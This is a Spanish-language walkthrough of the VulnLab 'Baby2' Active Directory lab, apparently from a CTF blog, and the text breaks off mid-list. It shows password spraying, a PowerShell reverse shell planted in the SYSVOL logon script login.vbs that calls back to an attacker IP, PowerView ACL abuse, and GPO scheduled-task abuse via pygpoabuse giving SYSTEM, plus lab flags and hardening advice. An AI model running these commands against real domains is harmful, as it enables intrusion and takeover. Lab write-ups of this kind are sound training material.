Post

VL BabyTwo

VL BabyTwo

Descripción

Baby2 es una máquina Windows de dificultad media que explora conceptos fundamentales de Active Directory relacionados con enumeración de usuarios, abuso de permisos DACL y manipulación de Group Policy Objects (GPO).

El camino de intrusión incluye:

  • RID Cycling para enumeración de usuarios sin credenciales
  • Password Spraying con credenciales débiles (usuario=contraseña)
  • Acceso a SYSVOL y modificación de scripts de inicio de sesión
  • Captura de sesión mediante scripts maliciosos en logon scripts
  • WriteOwner/WriteDacl para tomar control de cuentas privilegiadas
  • Abuso de GPO mediante GenericAll sobre Default Domain Policy
  • Escalada a SYSTEM mediante ScheduledTask en GPO

Esta máquina es perfecta para entender los peligros de permisos mal configurados en Active Directory y cómo los atacantes pueden escalar privilegios mediante la manipulación de Group Policy Objects.


Enumeración

NMAP - Descubrimiento de Servicios

Iniciamos con un escaneo completo de puertos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
nmap -p- --open -sS --min-rate 8000 -Pn -n 10.129.234.72 -oG allPorts
Starting Nmap 7.93 ( https://nmap.org ) at 2026-01-21 18:12 -04
Nmap scan report for 10.129.234.72
Host is up (0.33s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49667/tcp open  unknown
56481/tcp open  unknown
56482/tcp open  unknown
56499/tcp open  unknown
60261/tcp open  unknown
62047/tcp open  unknown
62083/tcp open  unknown

Análisis de Puertos Críticos

Los puertos confirman un Domain Controller:

  • 53 (DNS) - Servidor DNS del dominio
  • 88 (Kerberos) - Autenticación Kerberos
  • 389/636/3268/3269 (LDAP/LDAPS) - Servicios de directorio
  • 445 (SMB) - Compartición de archivos
  • 5985 (WinRM) - Administración remota
  • 3389 (RDP) - Escritorio remoto

Escaneo de Versiones y Scripts

1
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49667,56481,56482,56499,60261,62047,62083 -sCV 10.129.234.72 -oN targeted

Información Recopilada

  • Dominio: baby2.vl
  • FQDN del DC: dc.baby2.vl
  • NetBIOS: BABY2
  • Hostname: DC
  • Sistema Operativo: Windows Server 2022 Build 20348

Configuración del /etc/hosts

1
echo '10.129.234.72 baby2.vl DC.baby2.vl DC' | tee -a /etc/hosts

SMB - Enumeración Inicial

Verificamos si el acceso anónimo está habilitado:

1
2
3
nxc smb 10.129.234.72 -u anon -p ''
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.72   445    DC               [+] baby2.vl\anon: (Guest)

Acceso Anónimo Confirmado

El servidor permite autenticación de invitado (Guest), lo que nos permite realizar enumeración básica sin credenciales válidas.


Enumeración de Usuarios del Dominio

RID Cycling con lookupsid

¿Qué es RID Cycling?

RID (Relative Identifier) es un componente del SID (Security Identifier) de cada objeto en Active Directory. Al enumerar RIDs secuencialmente, podemos descubrir usuarios válidos sin necesidad de credenciales válidas.

1
2
3
4
5
6
lookupsid.py a@10.129.234.72 10000 -no-pass
Impacket v0.13.0.dev0+20250717.182627.84ebce48 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.129.234.72
[*] StringBinding ncacn_np:10.129.234.72[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-213243958-1766259620-4276976267

Procesamiento de Resultados

Aplicamos REGEX para extraer solo los nombres de usuario:

1
lookupsid.py a@10.129.234.72 10000 -no-pass | grep -i sidtypeuser | awk '{print $2}' | sed 's/^BABY2\\//' > users.txt

Esta cadena de comandos:

  1. grep -i sidtypeuser: Filtra solo objetos de tipo usuario
  2. awk ‘{print $2}’: Extrae el segundo campo (nombre de usuario con dominio)
  3. sed ‘s/^BABY2\\//’: Elimina el prefijo del dominio

Password Spray Attack

¿Qué es Password Spraying?

Password Spraying es una técnica de fuerza bruta donde probamos una misma contraseña contra múltiples usuarios, en lugar de probar múltiples contraseñas contra un usuario. Esto evita bloqueos de cuenta por intentos fallidos.

Contraseñas Débiles Comunes

En entornos de laboratorio como VulnLab, es común que los usuarios tengan contraseñas débiles o predecibles, como:

  • El mismo nombre de usuario como contraseña
  • Contraseñas por defecto
  • Patrones simples

Ejecución del Ataque

1
2
3
4
5
nxc smb 10.129.234.72 -u users.txt -p users.txt --continue-on-success --no-bruteforce
<SNIP>
SMB         10.129.234.72   445    DC               [+] baby2.vl\Carl.Moore:Carl.Moore
<SNIP>
SMB         10.129.234.72   445    DC               [+] baby2.vl\library:library

Parámetros importantes:

  • –continue-on-success: Continúa probando incluso después de encontrar credenciales válidas
  • –no-bruteforce: Prueba cada usuario con su correspondiente contraseña (usuario1:usuario1, usuario2:usuario2)

Credenciales Válidas Encontradas

Usuarios comprometidos:

  • Carl.Moore:Carl.Moore
  • library:library

BloodHound - Mapeo de Active Directory

¿Qué es BloodHound?

BloodHound es una herramienta de análisis de Active Directory que utiliza teoría de grafos para revelar relaciones y caminos de ataque ocultos. Identifica rutas de escalada de privilegios que serían difíciles de encontrar manualmente.

Recopilación de Datos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bloodhound-ce.py --zip -c All -d "baby2.vl" -u "Carl.Moore" -p 'Carl.Moore' -dc "dc.baby2.vl" -ns 10.129.234.72
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: baby2.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 01M 25S
INFO: Compressing output into 20260121192039_bloodhound.zip

Información recopilada:

  • 16 usuarios del dominio
  • 54 grupos
  • 2 GPOs (Group Policy Objects)
  • 3 OUs (Organizational Units)
  • 19 contenedores
  • 1 computadora (el DC)

SMB - Enumeración con Carl.Moore

Recursos Compartidos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nxc smb 10.129.234.72 -u Carl.Moore -p Carl.Moore --shares
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.72   445    DC               [+] baby2.vl\Carl.Moore:Carl.Moore
SMB         10.129.234.72   445    DC               [*] Enumerated shares
SMB         10.129.234.72   445    DC               Share           Permissions     Remark
SMB         10.129.234.72   445    DC               -----           -----------     ------
SMB         10.129.234.72   445    DC               ADMIN$                          Remote Admin
SMB         10.129.234.72   445    DC               apps            READ,WRITE
SMB         10.129.234.72   445    DC               C$                              Default share
SMB         10.129.234.72   445    DC               docs            READ,WRITE
SMB         10.129.234.72   445    DC               homes           READ,WRITE
SMB         10.129.234.72   445    DC               IPC$            READ            Remote IPC
SMB         10.129.234.72   445    DC               NETLOGON        READ            Logon server share
SMB         10.129.234.72   445    DC               SYSVOL          READ            Logon server share

Recursos Críticos Identificados

SYSVOL es extremadamente importante porque contiene:

  • Group Policy Objects (GPO) - Políticas de grupo
  • Logon Scripts - Scripts de inicio de sesión
  • GPP (Group Policy Preferences) - Configuraciones que pueden contener credenciales

Nota: SYSVOL es replicado entre todos los Domain Controllers y a menudo contiene información sensible. Los logon scripts son ejecutados automáticamente cuando los usuarios inician sesión.


Exploración de SYSVOL

Conexión al Recurso Compartido

1
2
3
4
5
6
7
8
9
10
11
12
13
14
smbclient //10.129.234.72/SYSVOL/ -U Carl.Moore%Carl.Moore
Try "help" to get a list of possible commands.
smb: \> dir
  baby2.vl                           Dr        0  Tue Aug 22 13:37:36 2023

smb: \> cd baby2.vl
smb: \baby2.vl\> dir
  DfsrPrivate                      DHSr        0  Tue Aug 22 13:43:55 2023
  Policies                            D        0  Tue Aug 22 13:37:41 2023
  scripts                             D        0  Mon Aug 25 04:30:39 2025

smb: \baby2.vl\> cd scripts
smb: \baby2.vl\scripts\> dir
  login.vbs                           A      992  Sat Sep  2 10:55:51 2023

Descarga del Script de Inicio de Sesión

1
2
smb: \baby2.vl\scripts\> get login.vbs
getting file \baby2.vl\scripts\login.vbs of size 992 as login.vbs (0.6 KiloBytes/sec)

Análisis del Script login.vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")

    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next

    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If

    objNetwork.MapNetworkDrive driveLetter & ":", sharePath

    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If

    Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"

¿Qué hace este script?

Este script VBScript se ejecuta automáticamente cuando los usuarios inician sesión y:

  1. Define una función MapNetworkShare para mapear unidades de red
  2. Verifica si la unidad ya está mapeada y la desmonta si es necesario
  3. Mapea dos recursos compartidos de red:
    • \\dc.baby2.vl\apps como unidad V:
    • \\dc.baby2.vl\docs como unidad L:

Intrusión

Modificación del Logon Script

Estrategia de Ataque

Como tenemos permisos de escritura en SYSVOL, podemos modificar el script login.vbs para:

  1. Mantener su funcionalidad original (evitar sospechas)
  2. Agregar código malicioso que se ejecute al inicio de sesión
  3. Obtener una reverse shell cuando un usuario inicie sesión

Script Malicioso

Agregamos el siguiente código al final del archivo login.vbs:

1
2
3
4
Dim objShell
Set objShell = CreateObject("WScript.Shell")

objShell.Run "powershell -exec bypass -c ""$client = New-Object System.Net.Sockets.TCPClient('10.10.17.121',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()""", 0, False

¿Qué hace este código?

  1. CreateObject(“WScript.Shell”): Crea un objeto Shell para ejecutar comandos
  2. objShell.Run: Ejecuta PowerShell con las siguientes opciones:
    • -exec bypass: Omite la política de ejecución de scripts
    • -c: Ejecuta el comando especificado
  3. Reverse Shell en PowerShell:
    • Crea un cliente TCP conectándose a 10.10.17.121:4444
    • Lee comandos del atacante
    • Ejecuta los comandos con iex (Invoke-Expression)
    • Envía los resultados de vuelta al atacante
  4. Parámetro 0, False: Ejecuta el comando de forma oculta (sin ventana visible)

Subida del Script Modificado

1
2
smb: \baby2.vl\scripts\> put login.vbs
putting file login.vbs as \baby2.vl\scripts\login.vbs (1.0 kb/s) (average 1.0 kb/s)

Preparación del Listener

En nuestra máquina atacante, iniciamos un listener en el puerto 4444:

1
2
3
4
nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Captura de Sesión

Esperando Autenticación

Los logon scripts en SYSVOL se ejecutan automáticamente cuando:

  • Un usuario inicia sesión en el dominio
  • Se aplican las Group Policy Objects
  • Se actualizan las políticas de grupo

En entornos de producción, esto podría tardar desde minutos hasta horas. En entornos de laboratorio, suele haber tareas programadas que simulan inicios de sesión.

Conexión Recibida

Después de aproximadamente 30 segundos, recibimos la conexión:

1
2
3
4
5
Ncat: Connection from 10.129.234.72.
Ncat: Connection from 10.129.234.72:53419.

PS C:\Windows\system32> whoami
baby2\amelia.griffiths

Shell Obtenida

Hemos obtenido una shell PowerShell como el usuario amelia.griffiths. Este usuario inició sesión en el dominio y el script malicioso se ejecutó automáticamente.


User Flag

Nota: La flag de usuario para esta máquina se encuentra en una ubicación no estándar: C:\user.txt

1
2
PS C:\Windows\system32> type C:/user.txt
42783b2c1483aeb70eca6810f0645c38

Flag de Usuario Obtenida

User Flag: 42783b2c1483aeb70eca6810f0645c38


Escalada de Privilegios

Análisis de Grupos

Verificamos los grupos a los que pertenece amelia.griffiths:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Windows\system32> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Group used for deny only
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group
BABY2\office                               Group            S-1-5-21-213243958-1766259620-4276976267-1104 Mandatory group, Enabled by default, Enabled group
BABY2\legacy                               Group            S-1-5-21-213243958-1766259620-4276976267-2601 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192

Grupos Importantes Identificados

  • BABY2\office: Grupo personalizado del dominio
  • BABY2\legacy: Grupo personalizado del dominio - ¡Este es crítico!

BloodHound - Análisis de Permisos

Permisos del Usuario Amelia Griffiths

Al revisar los datos de BloodHound, descubrimos que:

BloodHound Analysis

Amelia Griffiths:

  • Es miembro del grupo legacy

Grupo legacy:

  • Tiene WriteOwner sobre el usuario GPOADM
  • Tiene WriteDacl sobre el usuario GPOADM
  • Tiene WriteOwner sobre la OU GPO-MANAGEMENT
  • Tiene WriteDacl sobre la OU GPO-MANAGEMENT

¿Qué son WriteOwner y WriteDacl?

WriteOwner: Permite cambiar el propietario de un objeto. El nuevo propietario puede modificar completamente el objeto, incluyendo establecer su propia contraseña.

WriteDacl: Permite modificar la DACL (Discretionary Access Control List) de un objeto. Esto permite otorgarse a sí mismo permisos completos sobre el objeto.

Estrategia de Escalada

Nuestra ruta de ataque será:

  1. Usar WriteOwner para convertirnos en propietarios de GPOADM
  2. Usar WriteDacl para otorgarnos permisos completos sobre GPOADM
  3. Cambiar la contraseña de GPOADM
  4. Autenticarnos como GPOADM
  5. Abusar de los permisos de GPOADM sobre las GPO

Abuso de WriteOwner/WriteDacl

Preparación - PowerView

Como no tenemos la contraseña de AMELIA.GRIFFITHS (solo una shell), no podemos usar herramientas estándar de Impacket. Necesitamos usar PowerView, una herramienta de PowerShell para manipulación de Active Directory.

PowerView es parte de la suite PowerSploit y permite:

  • Enumerar objetos de AD
  • Modificar ACLs
  • Cambiar contraseñas
  • Manipular atributos de objetos
  • Todo desde PowerShell, sin necesidad de credenciales explícitas

Descarga y Transferencia de PowerView

Descargamos PowerView desde GitHub:

1
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Levantamos un servidor HTTP en nuestra máquina atacante:

1
python3 -m http.server 80

Desde la shell de PowerShell en la víctima, descargamos PowerView:

1
PS C:\temp> Invoke-WebRequest -Uri http://10.10.17.121/PowerView.ps1 -Out C:/Temp/PowerView.ps1

Importar PowerView

1
PS C:\temp> . .\PowerView.ps1

El operador . (dot sourcing) carga el script en la sesión actual, haciendo disponibles todas sus funciones.


Toma de Control de GPOADM

Paso 1: Otorgar Permisos Completos

Usamos Add-DomainObjectAcl para agregar una ACE (Access Control Entry) que nos otorgue permisos completos:

1
PS C:\temp> Add-DomainObjectAcl -TargetIdentity "GPOADM" -PrincipalIdentity "AMELIA.GRIFFITHS" -Rights All

¿Qué hace este comando?

  • -TargetIdentity: El objeto que queremos modificar (GPOADM)
  • -PrincipalIdentity: A quién otorgaremos permisos (AMELIA.GRIFFITHS)
  • -Rights All: Tipo de permisos (todos)

Esto agrega una entrada en la DACL de GPOADM que otorga a AMELIA.GRIFFITHS control total sobre la cuenta.

Paso 2: Cambiar Contraseña de GPOADM

Primero convertimos la nueva contraseña a SecureString:

1
PS C:\temp> $cred = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force

¿Qué es SecureString?

SecureString es un tipo de datos de .NET que almacena información sensible (como contraseñas) de forma cifrada en memoria. PowerShell lo requiere para operaciones relacionadas con credenciales.

Parámetros del comando:

  • -AsPlainText: Indica que estamos proporcionando texto plano
  • -Force: Omite advertencias de seguridad sobre usar texto plano

Ahora cambiamos la contraseña:

1
PS C:\temp> Set-DomainUserPassword GPOADM -AccountPassword $cred

Este comando de PowerView:

  • Toma el objeto SecureString que creamos
  • Modifica el atributo unicodePwd de GPOADM en Active Directory
  • Establece la nueva contraseña sin necesidad de conocer la anterior

Verificación de Credenciales

Desde nuestra máquina atacante, verificamos que las credenciales funcionan:

1
2
3
nxc smb 10.129.234.72 -u gpoadm -p 'P@ssword123!'
SMB         10.129.234.72   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.72   445    DC               [+] baby2.vl\gpoadm:P@ssword123!

¡Éxito! Las credenciales son válidas.

Credenciales de GPOADM Obtenidas

Usuario: gpoadm
Contraseña: P@ssword123!


BloodHound - Análisis de GPOADM

Permisos de GPOADM

Al revisar los permisos de GPOADM en BloodHound, descubrimos privilegios críticos:

BloodHound GPOADM

GPOADM tiene GenericAll sobre:

  • DEFAULT DOMAIN POLICY
  • DEFAULT DOMAIN CONTROLLERS POLICY

¿Qué es GenericAll en GPOs?

GenericAll sobre una GPO permite:

  • Modificar todas las configuraciones de la política
  • Agregar/eliminar configuraciones
  • Cambiar asignaciones de seguridad
  • Ejecutar código como SYSTEM mediante ScheduledTasks
  • Agregar usuarios a grupos privilegiados

Este es uno de los permisos más poderosos en Active Directory. Es equivalente a “control total” sobre el objeto.

¿Qué son estas GPOs?

DEFAULT DOMAIN POLICY:

  • Se aplica a todos los equipos del dominio
  • Configuraciones de contraseñas, Kerberos, seguridad
  • Ejecutada por SYSTEM en cada equipo

DEFAULT DOMAIN CONTROLLERS POLICY:

  • Se aplica solo a Domain Controllers
  • Configuraciones específicas de DCs
  • También ejecutada como SYSTEM

Abuso de GPO - Group Policy Object Manipulation

¿Qué es una GPO?

Una Group Policy Object (GPO) es una colección de configuraciones que controlan el entorno de trabajo de usuarios y computadoras. Las GPOs pueden:

  • Ejecutar scripts al inicio/apagado
  • Crear tareas programadas
  • Modificar configuraciones de seguridad
  • Instalar software
  • Configurar servicios

Estrategia de Ataque

Vamos a abusar de la DEFAULT DOMAIN POLICY para:

  1. Crear una ScheduledTask (tarea programada)
  2. La tarea se ejecutará como SYSTEM (máximo privilegio)
  3. La tarea agregará a GPOADM al grupo de Administrators

Obtener GPO ID

Cada GPO tiene un identificador único (GUID). Desde BloodHound, copiamos el GPO ID de DEFAULT DOMAIN POLICY:

GPO ID

GPO ID: 31B2F340-016D-11D2-945F-00C04FB984F9

Este GUID es único y permanente para esta GPO específica.


pygpoabuse - Explotación Automatizada de GPO

¿Qué es pygpoabuse?

pygpoabuse es una herramienta de Python que automatiza el abuso de permisos sobre GPOs. Puede:

  • Crear ScheduledTasks maliciosas en GPOs
  • Modificar configuraciones de seguridad
  • Ejecutar comandos arbitrarios como SYSTEM
  • Agregar usuarios a grupos privilegiados

La herramienta funciona:

  1. Se conecta al Domain Controller vía SMB
  2. Modifica el directorio SYSVOL donde se almacenan las GPOs
  3. Crea archivos XML de ScheduledTask en \\DC\SYSVOL\domain\Policies\{GPO-ID}\Machine\Preferences\ScheduledTasks
  4. Cuando los equipos actualizan sus GPOs, ejecutan estas tareas como SYSTEM

Método 1: Agregar al Grupo Administrators

1
2
3
pygpoabuse.py baby2.vl/gpoadm:'P@ssword123!' -command 'net localgroup administrators gpoadm /add' -dc-ip 10.129.234.72 -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9'
SUCCESS:root:ScheduledTask TASK_d1824f1f created!
[+] ScheduledTask TASK_d1824f1f created!

¿Qué hace este comando?

  1. Se autentica como gpoadm con la contraseña P@ssword123!
  2. Se conecta al DC en 10.129.234.72
  3. Localiza la GPO con ID 31B2F340-016D-11D2-945F-00C04FB984F9 (DEFAULT DOMAIN POLICY)
  4. Crea una ScheduledTask llamada TASK_d1824f1f dentro de la GPO
  5. La tarea ejecutará: net localgroup administrators gpoadm /add
  6. Esta tarea se ejecutará como NT AUTHORITY\SYSTEM en todos los equipos donde se aplique la GPO

¿Por qué funciona?

  • Las GPOs se ejecutan con privilegios de SYSTEM
  • DEFAULT DOMAIN POLICY se aplica al Domain Controller
  • El comando net localgroup administrators gpoadm /add agrega a gpoadm al grupo local Administrators
  • Como se ejecuta en el DC con privilegios de SYSTEM, tiene éxito

Forzar Actualización de GPO

Las GPOs se actualizan automáticamente cada 90 minutos por defecto. Para forzar una actualización inmediata:

1
2
3
4
5
6
PS C:\temp> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.

User Policy update has completed successfully.

¿Qué hace gpupdate /force?

  • Fuerza la descarga y aplicación de todas las GPOs
  • Ejecuta las ScheduledTasks creadas
  • Aplica las configuraciones inmediatamente

Verificación

Comprobamos que GPOADM fue agregado al grupo Administrators:

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\temp> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm
The command completed successfully.

Acceso Administrativo

Conexión con Evil-WinRM

Usamos Evil-WinRM para obtener una shell como administrador:

1
2
3
4
5
6
7
8
9
10
evil-winrm -i baby2.vl -u gpoadm -p 'P@ssword123!'

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\gpoadm\Documents> whoami
baby2\gpoadm

*Evil-WinRM* PS C:\Users\gpoadm\Documents> type C:/users/administrator/desktop/root.txt
293500962edc31fa154951eeeb5740f9

Flag de Root Obtenida

Root Flag: 293500962edc31fa154951eeeb5740f9


Método 2 - Shell como NT AUTHORITY\SYSTEM

Alternativa: Reverse Shell Directa

En lugar de agregarnos al grupo de administradores, podemos obtener directamente una shell como SYSTEM (la cuenta de máxima privilegios en Windows).

Generar Payload PowerShell

Nos vamos a revshell para generar una reverse shell de powershell encodeada a base64.

PowerShel Reverse Shell Base64

Ejecución del Ataque

1
2
3
pygpoabuse.py baby2.vl/gpoadm:'P@ssword123!' -command "powershell -exec bypass -enc REV_SHELL_BASE64" -dc-ip 10.129.234.72 -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9" -f
SUCCESS:root:ScheduledTask TASK_d5b1a4db created!
[+] ScheduledTask TASK_d5b1a4db created!

Parámetro -f: Fuerza la actualización inmediata de la GPO sin necesidad de ejecutar gpupdate /force manualmente.

Listener Preparado

1
2
3
4
nc -nlvp 5555
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555

Conexión Recibida

Después de la actualización de GPO, recibimos la conexión:

1
2
3
4
5
6
7
8
Ncat: Connection from 10.129.234.72.
Ncat: Connection from 10.129.234.72:55341.

PS C:\Windows\system32> whoami
nt authority\system

PS C:\Windows\system32> type C:/users/administrator/desktop/root.txt
293500962edc31fa154951eeeb5740f9

Shell como SYSTEM Obtenida

Ahora tenemos una shell como NT AUTHORITY\SYSTEM, la cuenta de mayor privilegio en Windows, equivalente a root en Linux.


Conclusión

Cadena de Ataque Completa

  1. Enumeración NMAP → Identificación de Domain Controller
  2. Acceso Anónimo SMB → Confirmación de guest access
  3. RID Cycling → Enumeración de usuarios sin credenciales
  4. Password Spraying → Credenciales débiles (usuario=contraseña)
  5. BloodHound → Mapeo de relaciones y permisos
  6. Acceso a SYSVOL → Lectura de logon scripts
  7. Modificación de login.vbs → Inyección de código malicioso
  8. Captura de Shell → Sesión como amelia.griffiths
  9. Análisis de Grupos → Identificación de membresía en legacy
  10. PowerView → Manipulación de ACLs
  11. WriteOwner/WriteDacl → Cambio de contraseña de GPOADM
  12. GenericAll sobre GPO → Creación de ScheduledTask
  13. GPO Abuse → Ejecución de código como SYSTEM
  14. Acceso Total → Compromiso completo del dominio

Resumen Visual del Ataque GPO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌────────────────────────────────────────────────────────────┐
│              ATAQUE DE MANIPULACIÓN DE GPO                 │
└────────────────────────────────────────────────────────────┘

1. ENUMERACIÓN INICIAL
   ┌──────────┐
   │ Atacante │ → RID Cycling → Usuarios del dominio
   └──────────┘

2. PASSWORD SPRAYING
   ┌──────────┐
   │ Atacante │ → Carl.Moore:Carl.Moore → Acceso SMB
   └──────────┘

3. SYSVOL POISONING
   ┌──────────┐
   │ Atacante │ → Modifica login.vbs → Shell as amelia.griffiths
   └──────────┘

4. ACL ABUSE
   ┌─────────────────┐      ┌──────────┐
   │ amelia.griffiths│ →→→→ │  legacy  │ → WriteOwner/WriteDacl
   └─────────────────┘      └──────────┘
          │
          ↓ Cambio de contraseña
   ┌──────────┐
   │  GPOADM  │ → GenericAll sobre GPO
   └──────────┘

5. GPO ABUSE
   ┌──────────┐         ┌──────────────────────┐
   │  GPOADM  │ →→→→→→→ │ DEFAULT DOMAIN POLICY│
   └──────────┘         └──────────────────────┘
                                │
                                ↓ ScheduledTask
                         ┌──────────────┐
                         │   SYSTEM     │ → Máximo privilegio
                         └──────────────┘

Conceptos Clave Aprendidos

RID Cycling

  • Técnica de enumeración sin autenticación
  • Explota el protocolo MSRPC para obtener información de usuarios
  • Permite mapear usuarios válidos antes de tener credenciales

Password Spraying

  • Fuerza bruta horizontal (una contraseña, múltiples usuarios)
  • Evita bloqueos de cuenta por intentos fallidos
  • Efectiva contra contraseñas débiles o predecibles

SYSVOL y Logon Scripts

  • SYSVOL contiene GPOs y scripts compartidos
  • Los logon scripts se ejecutan automáticamente al iniciar sesión
  • Permisos de escritura en SYSVOL = ejecución de código

WriteOwner y WriteDacl

  • Permisos DACL extremadamente peligrosos
  • Permiten escalar de “sin acceso” a “control total”
  • Combinados, equivalen a control completo del objeto

Group Policy Objects (GPO)

  • Las GPOs controlan configuraciones de equipos y usuarios
  • Se ejecutan con privilegios de SYSTEM
  • GenericAll sobre GPO = ejecución de código como SYSTEM
  • Las ScheduledTasks en GPOs son un vector de ataque potente

Lecciones Aprendidas

Malas Configuraciones Explotadas

  • Acceso anónimo SMB habilitado innecesariamente
  • Contraseñas débiles (usuario=contraseña)
  • Permisos de escritura en SYSVOL para usuarios no privilegiados
  • WriteOwner/WriteDacl otorgados a grupos de bajo privilegio
  • GenericAll sobre GPOs para usuarios que no son administradores
  • Falta de monitoreo de cambios en SYSVOL y GPOs

Recomendaciones de Seguridad

Prevención de Enumeración

  • Deshabilitar acceso anónimo a SMB y LDAP
  • Restringir RID cycling mediante políticas de seguridad
  • Implementar autenticación de red (NLA) en RDP
  • Usar firewalls internos para segmentar la red

Gestión de Credenciales

  • Políticas de contraseñas robustas:
    • Mínimo 12 caracteres
    • Complejidad requerida
    • Historial de contraseñas
    • Rotación periódica
  • Evitar contraseñas predecibles (nombre de usuario, patrones simples)
  • Implementar autenticación multifactor (MFA)
  • Usar cuentas de servicio administradas (gMSA)

Protección de SYSVOL

  • Auditar permisos en SYSVOL regularmente
  • Eliminar credenciales de scripts y GPP
  • Usar GPP con cifrado cuando sea necesario
  • Monitorear cambios en archivos de SYSVOL
  • Implementar firma de scripts obligatoria

Control de Permisos DACL

  • Principio de mínimo privilegio en ACLs
  • Auditar permisos con BloodHound periódicamente
  • Eliminar WriteOwner, WriteDacl, GenericAll innecesarios
  • Proteger cuentas de administración de GPO
  • Usar AdminSDHolder para proteger grupos privilegiados

Seguridad de GPO

  • Restringir permisos sobre GPOs a administradores de dominio
  • Auditar cambios en GPOs (Event ID 5136, 5137, 5141)
  • Implementar GPO de solo lectura cuando sea posible
  • Separar responsabilidades (crear vs. modificar vs. vincular GPOs)
  • Usar delegación controlada para administración de GPO

Monitoreo y Detección

  • Alertar sobre:
    • Cambios en SYSVOL (especialmente scripts)
